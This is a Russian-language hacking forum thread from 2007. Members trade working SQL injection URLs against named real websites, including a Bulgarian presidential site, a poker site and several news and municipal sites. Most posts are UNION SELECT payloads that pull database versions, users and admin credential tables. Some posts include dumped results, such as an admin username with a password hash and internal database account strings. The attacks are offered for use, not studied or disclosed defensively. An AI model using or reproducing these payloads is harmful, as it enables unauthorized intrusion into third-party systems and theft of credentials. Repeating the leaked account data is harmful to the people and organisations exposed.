 |
|
10.12.2007, 12:43
|
|
Постоянный
Регистрация: 25.08.2007
Сообщений: 530
С нами:
9847919
Репутация:
1446
|
|
Тут можно вынести всю базу:
Код:
http://www.3roms.com/index.php?page=rom_dl&rid=-1'+union+select+1,concat(username,0x3a,password),icq,4,5,6,7,convert(concat(user(),0x3,version(),0x3,database())+using+latin1),9,10,11,12+from+user+limit+1,2/*
Хеш с солью
Код:
http://www.3roms.com/index.php?page=rom_dl&rid=-1'+union+select+1,concat(username,0x3,password,0x3a,salt),icq,4,5,6,7,convert(concat(user(),0x3,version(),0x3,database())+using+latin1),9,10,11,12+from+user+limit+1,2/*
Последний раз редактировалось Momiji; 10.12.2007 в 21:50..
|
|
|
10.12.2007, 13:28
|
|
Участник форума
Регистрация: 14.07.2007
Сообщений: 108
С нами:
9909614
Репутация:
305
|
|
2 Momiji
Там хеш соленый, добавь в запрос "salt".
|
|
|
|
10.12.2007, 18:38
|
|
Участник форума
Регистрация: 28.12.2006
Сообщений: 111
С нами:
10194175
Репутация:
524
|
|
Чёт постов маловато....
silla.dk
Код:
http://www.silla.dk/nyhed.php?id=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5/*
4.0.18-nt:silla1:silla@cher
balatonfured.hu
Код:
http://www.balatonfured.hu/prg/nc/hirdomping2.php?&hir_lang=1&hir_akthely=61&hir_rovatid=116 &hir_hirid=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10/*
5.0.32-Debian_7etch1-log:balaton_admin:cece@innovex.veszprem.hu
Наша таба admins и в ней поля a_login_name и a_login_password
Усё... |
|
|
|
10.12.2007, 18:45
|
|
Постоянный
Регистрация: 10.11.2006
Сообщений: 416
С нами:
10263386
Репутация:
849
|
|
BlackCats, ты реально извращенец )
Код:
1+or+1=(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+(select+top+50+table_name+from+information_schema.tables))--
|
|
|
|
10.12.2007, 22:36
|
|
Участник форума
Регистрация: 03.09.2005
Сообщений: 123
С нами:
10886422
Репутация:
259
|
|
Код:
http://www.tampereenpyrinto.fi/news.php?id=-77+union+select+1,2,concat_ws(char(58,58),user(),database(),version()),4,5,6,7/*
w8115768db@10.0.8.84::w8115768db::5.0.21
правда тормозит по-страшному |
|
|
|
10.12.2007, 23:57
|
|
Познающий
Регистрация: 25.11.2007
Сообщений: 55
С нами:
9715799
Репутация:
58
|
|
вот... http://adamaz.ru/?id=18'+union+select+1,2,3/* помогиет полность раскрыть... просто мне становится интересно скули раскрывать... хочу научиться ))
|
|
|
|
11.12.2007, 00:04
|
|
Постоянный
Регистрация: 10.11.2006
Сообщений: 416
С нами:
10263386
Репутация:
849
|
|
http://adamaz.ru/?id=-1'+union+select+concat_ws(0x3a,version(),user()),2 ,3/*
|
|
|
|
Sql-inj на официальном сайте президента Болгарии |
11.12.2007, 00:09
|
|
Участник форума
Регистрация: 14.08.2007
Сообщений: 150
С нами:
9865044
Репутация:
205
|
|
Sql-inj на официальном сайте президента Болгарии
Зацените  :
Код HTML:
http://www.president.bg/news.php?type=-6
Ну как?  |
|
|
|
11.12.2007, 01:19
|
|
Участник форума
Регистрация: 14.12.2006
Сообщений: 211
С нами:
10214321
Репутация:
552
|
|
Код:
http://www.secureworldexpo.com/events/index.php?id=-230/**/union/**/select+1,VERSION(),3,4/*
Код:
http://www.brecorder.com/index.php?id=-465018+union+select+1,2,3,4,5,6,7,8,concat(user,0x3a,password),10,11,12,13,14+from+mysql.user/*
Последний раз редактировалось SWAT; 11.12.2007 в 01:33..
|
|
|
|
11.12.2007, 01:34
|
|
Постоянный
Регистрация: 25.08.2007
Сообщений: 530
С нами:
9847919
Репутация:
1446
|
|
Код:
http://www.ipoker.com/index.php?page=6&sub=1%22+union+select+1,2,concat(user(),0x3,version(),0x3,database()),4,5/*
Чуток дополнил.
Код:
http://www.ipoker.com/index.php?page=6&sub=1%22+union+select+1,2,concat(user(),0x3,version(),0x3,database()),concat(username,0x3,password),5+from+ipoker_admin/*
User: ipoker@playtech-banner1
Version: 4.1.22-standard-log
Database: ipoker
Admin username: dooker
Password: 01cbad3d03f356443f5f79d62cf3680a
Последний раз редактировалось Momiji; 11.12.2007 в 03:33..
|
|
|
|
|
|
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 4 (пользователей: 0 , гостей: 4)
|
|
|
|
Линейный вид
